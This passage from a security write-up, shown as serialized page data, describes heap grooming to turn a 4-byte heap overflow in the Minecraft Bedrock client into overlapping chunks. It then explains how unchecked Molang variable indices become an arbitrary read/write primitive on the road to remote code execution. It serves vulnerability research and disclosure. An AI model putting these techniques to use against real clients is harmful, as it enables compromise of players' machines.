field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":21,"tag":194,"props":152599,"children":152601},{"className":152600},[],[152602],{"type":27,"value":152536},{"type":27,"value":152604}," in the smallest possible VS chunk (",{"type":21,"tag":194,"props":152606,"children":152608},{"className":152607},[],[152609],{"type":27,"value":152565},{"type":27,"value":152611},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":21,"tag":194,"props":152613,"children":152615},{"className":152614},[],[152616],{"type":27,"value":152617},"[0x10, 0xffff0]",{"type":27,"value":152619}," range, the probability that it exceeds ",{"type":21,"tag":194,"props":152621,"children":152623},{"className":152622},[],[152624],{"type":27,"value":152565},{"type":27,"value":152626}," is:",{"type":21,"tag":187,"props":152628,"children":152630},{"code":152629},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[152631],{"type":21,"tag":194,"props":152632,"children":152633},{"__ignoreMap":7},[152634],{"type":27,"value":152629},{"type":21,"tag":30,"props":152636,"children":152637},{},[152638],{"type":27,"value":152639},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":21,"tag":30,"props":152641,"children":152642},{},[152643],{"type":27,"value":152644},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":21,"tag":162,"props":152646,"children":152648},{"id":152647},"overlap-attack-overview",[152649],{"type":27,"value":152650},"Overlap Attack Overview",{"type":21,"tag":30,"props":152652,"children":152653},{},[152654,152656,152661],{"type":27,"value":152655},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":21,"tag":194,"props":152657,"children":152659},{"className":152658},[],[152660],{"type":27,"value":126842},{"type":27,"value":152662}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":21,"tag":30,"props":152664,"children":152665},{},[152666,152668,152673,152675,152680],{"type":27,"value":152667},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":21,"tag":194,"props":152669,"children":152671},{"className":152670},[],[152672],{"type":27,"value":148550},{"type":27,"value":152674},"-sized chunks in the free list that we want to avoid. If a ",{"type":21,"tag":194,"props":152676,"children":152678},{"className":152677},[],[152679],{"type":27,"value":148550},{"type":27,"value":152681},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":21,"tag":30,"props":152683,"children":152684},{},[152685,152687,152692],{"type":27,"value":152686},"To remove those ",{"type":21,"tag":194,"props":152688,"children":152690},{"className":152689},[],[152691],{"type":27,"value":148550},{"type":27,"value":152693},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":21,"tag":30,"props":152695,"children":152696},{},[152697],{"type":27,"value":152698},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":21,"tag":187,"props":152700,"children":152702},{"code":152701},"+--------+--------+--------+--------+--------+\n| | | | | |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n| | | | | |\n+--------+--------+--------+--------+--------+\n",[152703],{"type":21,"tag":194,"props":152704,"children":152705},{"__ignoreMap":7},[152706],{"type":27,"value":152701},{"type":21,"tag":30,"props":152708,"children":152709},{},[152710,152712,152717,152719,152724],{"type":27,"value":152711},"Next we create ",{"type":21,"tag":1671,"props":152713,"children":152714},{},[152715],{"type":27,"value":152716},"holes",{"type":27,"value":152718}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":21,"tag":194,"props":152720,"children":152722},{"className":152721},[],[152723],{"type":27,"value":148550},{"type":27,"value":152725},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":21,"tag":187,"props":152727,"children":152729},{"code":152728}," Free Free \n+--------+--------+--------+--------+--------+\n| |........| |........| |\n| Sign A |........| Sign C |........| Sign F |\n| |........| |........| |\n+--------+--------+--------+--------+--------+\n",[152730],{"type":21,"tag":194,"props":152731,"children":152732},{"__ignoreMap":7},[152733],{"type":27,"value":152728},{"type":21,"tag":30,"props":152735,"children":152736},{},[152737,152739,152744,152746,152751],{"type":27,"value":152738},"When a ",{"type":21,"tag":194,"props":152740,"children":152742},{"className":152741},[],[152743],{"type":27,"value":148550},{"type":27,"value":152745}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":21,"tag":194,"props":152747,"children":152749},{"className":152748},[],[152750],{"type":27,"value":152536},{"type":27,"value":152752}," field will be overwritten:",{"type":21,"tag":187,"props":152754,"children":152756},{"code":152755}," +--------+ \n Free | | \n+--------+--------+--------+ g->out +--------+\n| |........| | | |\n| Sign A |........| Sign C +--------+ Sign F |\n| |........| | | |\n+--------+--------+--------+ +--------+\n",[152757],{"type":21,"tag":194,"props":152758,"children":152759},{"__ignoreMap":7},[152760],{"type":27,"value":152755},{"type":21,"tag":30,"props":152762,"children":152763},{},[152764,152766,152771,152773,152778,152780,152785],{"type":27,"value":152765},"Once ",{"type":21,"tag":194,"props":152767,"children":152769},{"className":152768},[],[152770],{"type":27,"value":152536},{"type":27,"value":152772}," has been overwritten, ",{"type":21,"tag":194,"props":152774,"children":152776},{"className":152775},[],[152777],{"type":27,"value":148550},{"type":27,"value":152779}," allocation is freed immediately after, restoring the previous layout but with ",{"type":21,"tag":194,"props":152781,"children":152783},{"className":152782},[],[152784],{"type":27,"value":152536},{"type":27,"value":152786}," field corrupted:",{"type":21,"tag":187,"props":152788,"children":152790},{"code":152789}," UnsafeSize Overwritten\n ^ \n | \n Free Free | \n+--------+--------+--------+--------+---+----+ \n| |........| |........| | \n| Sign A |........| Sign C |........| Sign F | \n| |........| |........| | \n+--------+--------+--------+--------+--------+ \n",[152791],{"type":21,"tag":194,"props":152792,"children":152793},{"__ignoreMap":7},[152794],{"type":27,"value":152789},{"type":21,"tag":30,"props":152796,"children":152797},{},[152798],{"type":27,"value":152799},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":21,"tag":187,"props":152801,"children":152803},{"code":152802}," UnsafeSize Overwritten\n ^ \n | \n | \n+--------+--------+--------+--------+---+----+ \n| | | | | | \n| Sign A | Sign B | Sign C | Sign D | Sign F | \n| | | | | | \n+--------+--------+--------+--------+--------+ \n",[152804],{"type":21,"tag":194,"props":152805,"children":152806},{"__ignoreMap":7},[152807],{"type":27,"value":152802},{"type":21,"tag":30,"props":152809,"children":152810},{},[152811],{"type":27,"value":152812},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":21,"tag":187,"props":152814,"children":152816},{"code":152815}," Freed Overwritten \n | \n +----------+----------+\n | |\n Free Free v v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........| |........| |........| \n|........| Sign B |........| Sign D |........| Other chunks\n|........| |........| |........| \n+--------+--------+--------+--------+--------+- - - - - - -\n",[152817],{"type":21,"tag":194,"props":152818,"children":152819},{"__ignoreMap":7},[152820],{"type":27,"value":152815},{"type":21,"tag":19590,"props":152822,"children":152823},{},[],{"type":21,"tag":30,"props":152825,"children":152826},{},[152827],{"type":27,"value":152828},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":21,"tag":30,"props":152830,"children":152831},{},[152832],{"type":27,"value":152833},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":21,"tag":59,"props":152835,"children":152837},{"id":152836},"molang",[152838],{"type":27,"value":152839},"Molang",{"type":21,"tag":30,"props":152841,"children":152842},{},[152843,152845,152852],{"type":27,"value":152844},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":21,"tag":34,"props":152846,"children":152849},{"href":152847,"rel":152848},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[38],[152850],{"type":27,"value":152851},"syntax guide",{"type":27,"value":658},{"type":21,"tag":30,"props":152854,"children":152855},{},[152856,152858,152863,152864,152869],{"type":27,"value":152857},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":21,"tag":194,"props":152859,"children":152861},{"className":152860},[],[152862],{"type":27,"value":9386},{"type":27,"value":11801},{"type":21,"tag":194,"props":152865,"children":152867},{"className":152866},[],[152868],{"type":27,"value":16491},{"type":27,"value":152870}," operators are supported.",{"type":21,"tag":30,"props":152872,"children":152873},{},[152874,152876,152882,152884,152889,152891,152896,152897,152902,152903],{"type":27,"value":152875},"Variables are defined by prepending ",{"type":21,"tag":194,"props":152877,"children":152879},{"className":152878},[],[152880],{"type":27,"value":152881},"variable.",{"type":27,"value":152883}," to the name and assigning a value. For example, to define ",{"type":21,"tag":194,"props":152885,"children":152887},{"className":152886},[],[152888],{"type":27,"value":9893},{"type":27,"value":152890}," as the sum of ",{"type":21,"tag":194,"props":152892,"children":152894},{"className":152893},[],[152895],{"type":27,"value":34},{"type":27,"value":11801},{"type":21,"tag":194,"props":152898,"children":152900},{"className":152899},[],[152901],{"type":27,"value":4029},{"type":27,"value":16136},{"type":21,"tag":194,"props":152904,"children":152906},{"className":152905},[],[152907],{"type":27,"value":152908},"variable.result = variable.a + variable.b;",{"type":21,"tag":30,"props":152910,"children":152911},{},[152912,152914,152919,152920,152925,152926,152931,152932,152937],{"type":27,"value":152913},"Logical operators such as ",{"type":21,"tag":194,"props":152915,"children":152917},{"className":152916},[],[152918],{"type":27,"value":23212},{"type":27,"value":828},{"type":21,"tag":194,"props":152921,"children":152923},{"className":152922},[],[152924],{"type":27,"value":73577},{"type":27,"value":828},{"type":21,"tag":194,"props":152927,"children":152929},{"className":152928},[],[152930],{"type":27,"value":3159},{"type":27,"value":828},{"type":21,"tag":194,"props":152933,"children":152935},{"className":152934},[],[152936],{"type":27,"value":11270},{"type":27,"value":152938},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":21,"tag":187,"props":152940,"children":152942},{"code":152941},"(variable.result == 3) ? {\n return 1;\n} : {\n return 0;\n}\n",[152943],{"type":21,"tag":194,"props":152944,"children":152945},{"__ignoreMap":7},[152946],{"type":27,"value":152941},{"type":21,"tag":30,"props":152948,"children":152949},{},[152950],{"type":27,"value":152951},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":21,"tag":162,"props":152953,"children":152955},{"id":152954},"molang-internals",[152956],{"type":27,"value":152957},"Molang Internals",{"type":21,"tag":30,"props":152959,"children":152960},{},[152961],{"type":27,"value":152962},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":21,"tag":30,"props":152964,"children":152965},{},[152966],{"type":27,"value":152967},"Below we describe the structures involved and their memory layout.",{"type":21,"tag":162,"props":152969,"children":152971},{"id":152970},"molangvariable-and-molangscriptarg",[152972],{"type":27,"value":152973},"MolangVariable and MolangScriptArg",{"type":21,"tag":30,"props":152975,"children":152976},{},[152977,152978,152984],{"type":27,"value":102733},{"type":21,"tag":194,"props":152979,"children":152981},{"className":152980},[],[152982],{"type":27,"value":152983},"MolangVariable",{"type":27,"value":152985}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":21,"tag":187,"props":152987,"children":152989},{"code":152988,"language":3954,"meta":7,"className":17318,"style":7},"struct MolangVariable {\n \n struct HashedString {\n uint64_t variable_name_hash;\n std::string variable_name;\n };\n \n struct MolangScriptArg {\n uint32_t value_type;\n uint64_t value;\n std::vector\u003Cstruct MolangScriptArg> struct_fields;\n \n [...]\n };\n};\n",[152990],{"type":21,"tag":194,"props":152991,"children":152992},{"__ignoreMap":7},[152993,153005,153012,153024,153037,153045,153052,153059,153071,153084,153096,153126,153134,153141,153148],{"type":21,"tag":198,"props":152994,"children":152995},{"class":200,"line":201},[152996,153000],{"type":21,"tag":198,"props":152997,"children":152998},{"style":249},[152999],{"type":27,"value":10213},{"type":21,"tag":198,"props":153001,"children":153002},{"style":211},[153003],{"type":27,"value":153004}," MolangVariable {\n",{"type":21,"tag":198,"props":153006,"children":153007},{"class":200,"line":217},[153008],{"type":21,"tag":198,"props":153009,"children":153010},{"style":211},[153011],{"type":27,"value":62164},{"type":21,"tag":198,"props":153013,"children":153014},{"class":200,"line":236},[153015,153019],{"type":21,"tag":198,"props":153016,"children":153017},{"style":249},[153018],{"type":27,"value":6864},{"type":21,"tag":198,"props":153020,"children":153021},{"style":211},[153022],{"type":27,"value":153023}," HashedString {\n",{"type":21,"tag":198,"props":153025,"children":153026},{"class":200,"line":260},[153027,153032],{"type":21,"tag":198,"props":153028,"children":153029},{"style":249},[153030],{"type":27,"value":153031}," uint64_t",{"type":21,"tag":198,"props":153033,"children":153034},{"style":211},[153035],{"type":27,"value":153036}," variable_name_hash;\n",{"type":21,"tag":198,"props":153038,"children":153039},{"class":200,"line":281},[153040],{"type":21,"tag":198,"props":153041,"children":153042},{"style":211},[153043],{"type":27,"value":153044}," std::string variable_name;\n",{"type":21,"tag":198,"props":153046,"children":153047},{"class":200,"line":302},[153048],{"type":21,"tag":198,"props":153049,"children":153050},{"style":211},[153051],{"type":27,"value":39755},{"type":21,"tag":198,"props":153053,"children":153054},{"class":200,"line":323},[153055],{"type":21,"tag":198,"props":153056,"children":153057},{"style":211},[153058],{"type":27,"value":62164},{"type":21,"tag":198,"props":153060,"children":153061},{"class":200,"line":344},[153062,153066],{"type":21,"tag":198,"props":153063,"children":153064},{"style":249},[153065],{"type":27,"value":6864},{"type":21,"tag":198,"props":153067,"children":153068},{"style":211},[153069],{"type":27,"value":153070}," MolangScriptArg {\n",{"type":21,"tag":198,"props":153072,"children":153073},{"class":200,"line":365},[153074,153079],{"type":21,"tag":198,"props":153075,"children":153076},{"style":249},[153077],{"type":27,"value":153078}," uint32_t",{"type":21,"tag":198,"props":153080,"children":153081},{"style":211},[153082],{"type":27,"value":153083}," value_type;\n",{"type":21,"tag":198,"props":153085,"children":153086},{"class":200,"line":386},[153087,153091],{"type":21,"tag":198,"props":153088,"children":153089},{"style":249},[153090],{"type":27,"value":153031},{"type":21,"tag":198,"props":153092,"children":153093},{"style":211},[153094],{"type":27,"value":153095}," value;\n",{"type":21,"tag":198,"props":153097,"children":153098},{"class":200,"line":408},[153099,153104,153108,153112,153117,153121],{"type":21,"tag":198,"props":153100,"children":153101},{"style":211},[153102],{"type":27,"value":153103}," std::vector",{"type":21,"tag":198,"props":153105,"children":153106},{"style":683},[153107],{"type":27,"value":3159},{"type":21,"tag":198,"props":153109,"children":153110},{"style":249},[153111],{"type":27,"value":10213},{"type":21,"tag":198,"props":153113,"children":153114},{"style":211},[153115],{"type":27,"value":153116}," MolangScriptArg",{"type":21,"tag":198,"props":153118,"children":153119},{"style":683},[153120],{"type":27,"value":11270},{"type":21,"tag":198,"props":153122,"children":153123},{"style":211},[153124],{"type":27,"value":153125}," struct_fields;\n",{"type":21,"tag":198,"props":153127,"children":153128},{"class":200,"line":429},[153129],{"type":21,"tag":198,"props":153130,"children":153131},{"style":211},[153132],{"type":27,"value":153133}," \n",{"type":21,"tag":198,"props":153135,"children":153136},{"class":200,"line":450},[153137],{"type":21,"tag":198,"props":153138,"children":153139},{"style":211},[153140],{"type":27,"value":124421},{"type":21,"tag":198,"props":153142,"children":153143},{"class":200,"line":468},[153144],{"type":21,"tag":198,"props":153145,"children":153146},{"style":211},[153147],{"type":27,"value":39755},{"type":21,"tag":198,"props":153149,"children":153150},{"class":200,"line":477},[153151],{"type":21,"tag":198,"props":153152,"children":153153},{"style":211},[153154],{"type":27,"value":2357},{"type":21,"tag":30,"props":153156,"children":153157},{},[153158,153160,153165],{"type":27,"value":153159},"In memory a ",{"type":21,"tag":194,"props":153161,"children":153163},{"className":153162},[],[153164],{"type":27,"value":152983},{"type":27,"value":153166}," instance resembles:",{"type":21,"tag":187,"props":153168,"children":153170},{"code":153169}," +---------------+---------------+\n+0x00 | FNV-1 hash |std::string.buf|\n +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n +---------------+---------------+\n+0x20 |std::string.cap| Unknown |\n +-------+-------+---------------+\n+0x30 | Type |Unused |Variable value |\n +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n +---------------+---------------+\n+0x50 |std::vector.cap| Unknown |\n +---------------+---------------+\n | . . . | . . . |\n",[153171],{"type":21,"tag":194,"props":153172,"children":153173},{"__ignoreMap":7},[153174],{"type":27,"value":153169},{"type":21,"tag":30,"props":153176,"children":153177},{},[153178],{"type":27,"value":153179},"For reference, example debugger view of the layout:",{"type":21,"tag":30,"props":153181,"children":153182},{},[153183],{"type":21,"tag":1376,"props":153184,"children":153186},{"alt":50954,"src":153185},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":21,"tag":30,"props":153188,"children":153189},{},[153190],{"type":27,"value":153191},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":21,"tag":30,"props":153193,"children":153194},{},[153195,153197,153203,153205,153210,153212,153218,153220,153225,153226,153231,153233,153238,153239,153245,153246,153252],{"type":27,"value":153196},"We only care about the ",{"type":21,"tag":194,"props":153198,"children":153200},{"className":153199},[],[153201],{"type":27,"value":153202},"MolangScriptArg",{"type":27,"value":153204}," beginning at offset ",{"type":21,"tag":194,"props":153206,"children":153208},{"className":153207},[],[153209],{"type":27,"value":129300},{"type":27,"value":153211}," because it contains variable values. In the screenshot above, the ",{"type":21,"tag":194,"props":153213,"children":153215},{"className":153214},[],[153216],{"type":27,"value":153217},"value_type",{"type":27,"value":153219}," at ",{"type":21,"tag":194,"props":153221,"children":153223},{"className":153222},[],[153224],{"type":27,"value":129300},{"type":27,"value":6314},{"type":21,"tag":194,"props":153227,"children":153229},{"className":153228},[],[153230],{"type":27,"value":3482},{"type":27,"value":153232}," (meaning float), and the ",{"type":21,"tag":194,"props":153234,"children":153236},{"className":153235},[],[153237],{"type":27,"value":39910},{"type":27,"value":153219},{"type":21,"tag":194,"props":153240,"children":153242},{"className":153241},[],[153243],{"type":27,"value":153244},"0x38",{"type":27,"value":6314},{"type":21,"tag":194,"props":153247,"children":153249},{"className":153248},[],[153250],{"type":27,"value":153251},"0xbf2070c8",{"type":27,"value":658},{"type":21,"tag":30,"props":153254,"children":153255},{},[153256,153258,153264,153266,153271,153273,153278,153279,153284,153286,153291,153293,153298],{"type":27,"value":153257},"During assignment, such as ",{"type":21,"tag":194,"props":153259,"children":153261},{"className":153260},[],[153262],{"type":27,"value":153263},"variable.a = variable.b",{"type":27,"value":153265},", each field of ",{"type":21,"tag":194,"props":153267,"children":153269},{"className":153268},[],[153270],{"type":27,"value":153202},{"type":27,"value":153272}," is copied from variable ",{"type":21,"tag":194,"props":153274,"children":153276},{"className":153275},[],[153277],{"type":27,"value":4029},{"type":27,"value":57153},{"type":21,"tag":194,"props":153280,"children":153282},{"className":153281},[],[153283],{"type":27,"value":34},{"type":27,"value":153285},". Interestingly, the ",{"type":21,"tag":194,"props":153287,"children":153289},{"className":153288},[],[153290],{"type":27,"value":39910},{"type":27,"value":153292}," field is always copied as a ",{"type":21,"tag":194,"props":153294,"children":153296},{"className":153295},[],[153297],{"type":27,"value":56011},{"type":27,"value":153299}," even if the type is a 32-bit float.",{"type":21,"tag":30,"props":153301,"children":153302},{},[153303,153305,153311],{"type":27,"value":153304},"Each entity stores its variables in a per-entity vector called ",{"type":21,"tag":194,"props":153306,"children":153308},{"className":153307},[],[153309],{"type":27,"value":153310},"MolangVariableMap",{"type":27,"value":658},{"type":21,"tag":162,"props":153313,"children":153315},{"id":153314},"molangvariablemap",[153316],{"type":27,"value":153310},{"type":21,"tag":30,"props":153318,"children":153319},{},[153320,153325,153327,153333,153335,153341],{"type":21,"tag":194,"props":153321,"children":153323},{"className":153322},[],[153324],{"type":27,"value":153310},{"type":27,"value":153326}," is simply a ",{"type":21,"tag":194,"props":153328,"children":153330},{"className":153329},[],[153331],{"type":27,"value":153332},"std::vector\u003CMolangVariable *>",{"type":27,"value":153334}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":21,"tag":194,"props":153336,"children":153338},{"className":153337},[],[153339],{"type":27,"value":153340},"std::vector",{"type":27,"value":153342}," layout:",{"type":21,"tag":187,"props":153344,"children":153346},{"code":153345,"language":3954,"meta":7,"className":17318,"style":7},"struct vector {\n void *buf;\n void *len;\n void *cap;\n};\n",[153347],{"type":21,"tag":194,"props":153348,"children":153349},{"__ignoreMap":7},[153350,153362,153378,153394,153410],{"type":21,"tag":198,"props":153351,"children":153352},{"class":200,"line":201},[153353,153357],{"type":21,"tag":198,"props":153354,"children":153355},{"style":249},[153356],{"type":27,"value":10213},{"type":21,"tag":198,"props":153358,"children":153359},{"style":211},[153360],{"type":27,"value":153361}," vector {\n",{"type":21,"tag":198,"props":153363,"children":153364},{"class":200,"line":217},[153365,153369,153373],{"type":21,"tag":198,"props":153366,"children":153367},{"style":249},[153368],{"type":27,"value":17351},{"type":21,"tag":198,"props":153370,"children":153371},{"style":683},[153372],{"type":27,"value":10626},{"type":21,"tag":198,"props":153374,"children":153375},{"style":211},[153376],{"type":27,"value":153377},"buf;\n",{"type":21,"tag":198,"props":153379,"children":153380},{"class":200,"line":236},[153381,153385,153389],{"type":21,"tag":198,"props":153382,"children":153383},{"style":249},[153384],{"type":27,"value":17351},{"type":21,"tag":198,"props":153386,"children":153387},{"style":683},[153388],{"type":27,"value":10626},{"type":21,"tag":198,"props":153390,"children":153391},{"style":211},[153392],{"type":27,"value":153393},"len;\n",{"type":21,"tag":198,"props":153395,"children":153396},{"class":200,"line":260},[153397,153401,153405],{"type":21,"tag":198,"props":153398,"children":153399},{"style":249},[153400],{"type":27,"value":17351},{"type":21,"tag":198,"props":153402,"children":153403},{"style":683},[153404],{"type":27,"value":10626},{"type":21,"tag":198,"props":153406,"children":153407},{"style":211},[153408],{"type":27,"value":153409},"cap;\n",{"type":21,"tag":198,"props":153411,"children":153412},{"class":200,"line":281},[153413],{"type":21,"tag":198,"props":153414,"children":153415},{"style":211},[153416],{"type":27,"value":2357},{"type":21,"tag":30,"props":153418,"children":153419},{},[153420,153425,153427,153432,153434,153440,153442,153447,153448,153453],{"type":21,"tag":194,"props":153421,"children":153423},{"className":153422},[],[153424],{"type":27,"value":150506},{"type":27,"value":153426}," points to the allocated array of elements, ",{"type":21,"tag":194,"props":153428,"children":153430},{"className":153429},[],[153431],{"type":27,"value":9950},{"type":27,"value":153433}," points just past the last used element, and ",{"type":21,"tag":194,"props":153435,"children":153437},{"className":153436},[],[153438],{"type":27,"value":153439},"cap",{"type":27,"value":153441}," points to the end of the allocated buffer. Notably, the types of ",{"type":21,"tag":194,"props":153443,"children":153445},{"className":153444},[],[153446],{"type":27,"value":9950},{"type":27,"value":11801},{"type":21,"tag":194,"props":153449,"children":153451},{"className":153450},[],[153452],{"type":27,"value":153439},{"type":27,"value":153454}," aren't typical integer types for sizes, but both are pointers.",{"type":21,"tag":30,"props":153456,"children":153457},{},[153458],{"type":27,"value":153459},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":21,"tag":187,"props":153461,"children":153463},{"code":153462},"+---------+ +--------------------+\n| buf +-------> | MolangVariable A* |\n+---------+ +--------------------+\n| len +----+ | MolangVariable B* |\n+---------+ | +--------------------+\n| cap | | | MolangVariable C* |\n+----+----+ | +--------------------+\n | +--> | Empty element slot |\n | +--------------------+\n | ^\n +-----------------------------------+\n",[153464],{"type":21,"tag":194,"props":153465,"children":153466},{"__ignoreMap":7},[153467],{"type":27,"value":153462},{"type":21,"tag":30,"props":153469,"children":153470},{},[153471,153473,153479,153481,153487],{"type":27,"value":153472},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":21,"tag":194,"props":153474,"children":153476},{"className":153475},[],[153477],{"type":27,"value":153478},"variable.result",{"type":27,"value":153480},") may differ between entities. To get around this, ",{"type":21,"tag":194,"props":153482,"children":153484},{"className":153483},[],[153485],{"type":27,"value":153486},"MolangIndexMap",{"type":27,"value":153488}," is used to map a global variable name to the correct per-entity slot.",{"type":21,"tag":162,"props":153490,"children":153492},{"id":153491},"molangindexmap",[153493],{"type":27,"value":153486},{"type":21,"tag":30,"props":153495,"children":153496},{},[153497,153502,153504,153510,153512,153518],{"type":21,"tag":194,"props":153498,"children":153500},{"className":153499},[],[153501],{"type":27,"value":153486},{"type":27,"value":153503}," is a per-entity ",{"type":21,"tag":194,"props":153505,"children":153507},{"className":153506},[],[153508],{"type":27,"value":153509},"std::vector\u003Cuint16_t>",{"type":27,"value":153511},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":21,"tag":194,"props":153513,"children":153515},{"className":153514},[],[153516],{"type":27,"value":153517},"variable.result = 0",{"type":27,"value":153519}," it:",{"type":21,"tag":71,"props":153521,"children":153522},{},[153523,153533,153543],{"type":21,"tag":75,"props":153524,"children":153525},{},[153526,153528],{"type":27,"value":153527},"Checks the global hashmap for ",{"type":21,"tag":194,"props":153529,"children":153531},{"className":153530},[],[153532],{"type":27,"value":9893},{"type":21,"tag":75,"props":153534,"children":153535},{},[153536,153538],{"type":27,"value":153537},"If found, uses the global index to look up the per-entity index in ",{"type":21,"tag":194,"props":153539,"children":153541},{"className":153540},[],[153542],{"type":27,"value":153486},{"type":21,"tag":75,"props":153544,"children":153545},{},[153546,153548],{"type":27,"value":153547},"If not found, creates a new global entry and assigns it ",{"type":21,"tag":194,"props":153549,"children":153551},{"className":153550},[],[153552],{"type":27,"value":153553},"last_index + 1",{"type":21,"tag":30,"props":153555,"children":153556},{},[153557,153559,153564,153566,153571,153573,153578,153580,153585,153587,153592,153593,153599,153601,153606],{"type":27,"value":153558},"This means the same global index for variable ",{"type":21,"tag":194,"props":153560,"children":153562},{"className":153561},[],[153563],{"type":27,"value":9893},{"type":27,"value":153565}," maps to the same position inside every entity’s ",{"type":21,"tag":194,"props":153567,"children":153569},{"className":153568},[],[153570],{"type":27,"value":153486},{"type":27,"value":153572},", but the actual ",{"type":21,"tag":194,"props":153574,"children":153576},{"className":153575},[],[153577],{"type":27,"value":152983},{"type":27,"value":153579}," for ",{"type":21,"tag":194,"props":153581,"children":153583},{"className":153582},[],[153584],{"type":27,"value":9893},{"type":27,"value":153586}," may live at different slots inside each entity's ",{"type":21,"tag":194,"props":153588,"children":153590},{"className":153589},[],[153591],{"type":27,"value":153310},{"type":27,"value":19331},{"type":21,"tag":194,"props":153594,"children":153596},{"className":153595},[],[153597],{"type":27,"value":153598},"Entity.MolangIndexMap[global_index]",{"type":27,"value":153600}," stores the per-entity index (slot) of variable ",{"type":21,"tag":194,"props":153602,"children":153604},{"className":153603},[],[153605],{"type":27,"value":9893},{"type":27,"value":658},{"type":21,"tag":30,"props":153608,"children":153609},{},[153610,153612,153617,153619,153624,153626,153631,153633,153638,153640,153646,153648,153653],{"type":27,"value":153611},"Importantly, we found that indices in the ",{"type":21,"tag":194,"props":153613,"children":153615},{"className":153614},[],[153616],{"type":27,"value":153486},{"type":27,"value":153618}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":21,"tag":194,"props":153620,"children":153622},{"className":153621},[],[153623],{"type":27,"value":153310},{"type":27,"value":153625},". This means that if we overwrite the index of variable ",{"type":21,"tag":194,"props":153627,"children":153629},{"className":153628},[],[153630],{"type":27,"value":9893},{"type":27,"value":153632}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":21,"tag":194,"props":153634,"children":153636},{"className":153635},[],[153637],{"type":27,"value":153310},{"type":27,"value":153639},", we could read from and write to ",{"type":21,"tag":194,"props":153641,"children":153643},{"className":153642},[],[153644],{"type":27,"value":153645},"address + 0x38",{"type":27,"value":153647}," through ",{"type":21,"tag":194,"props":153649,"children":153651},{"className":153650},[],[153652],{"type":27,"value":153478},{"type":27,"value":658},{"type":21,"tag":59,"props":153655,"children":153657},{"id":153656},"building-a-molang-arbitrary-rw-primitive",[153658],{"type":27,"value":153659},"Building a Molang Arbitrary R/W Primitive",{"type":21,"tag":30,"props":153661,"children":153662},{},[153663,153665,153670,153672,153677],{"type":27,"value":153664},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":21,"tag":194,"props":153666,"children":153668},{"className":153667},[],[153669],{"type":27,"value":153340},{"type":27,"value":153671}," - specifically, of ",{"type":21,"tag":194,"props":153673,"children":153675},{"className":153674},[],[153676],{"type":27,"value":153310},{"type":27,"value":153678}," vector.",{"type":21,"tag":30,"props":153680,"children":153681},{},[153682,153684,153689,153691,153696,153697,153702,153704,153709],{"type":27,"value":153683},"Because every entity object is heap-allocated and contains a ",{"type":21,"tag":194,"props":153685,"children":153687},{"className":153686},[],[153688],{"type":27,"value":153310},{"type":27,"value":153690}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":21,"tag":194,"props":153692,"children":153694},{"className":153693},[],[153695],{"type":27,"value":150506},{"type":27,"value":56168},{"type":21,"tag":194,"props":153698,"children":153700},{"className":153699},[],[153701],{"type":27,"value":153310},{"type":27,"value":153703}," vector belonging to an entity object placed just next the ",{"type":21,"tag":194,"props":153705,"children":153707},{"className":153706},[],[153708],{"type":27,"value":153310},{"type":27,"value":153710}," allocated buffer.",{"type":21,"tag":187,"props":153712,"children":153714},{"code":153713}," +-------------+ \u003C--+ \n+---> | variable.a | | \n| 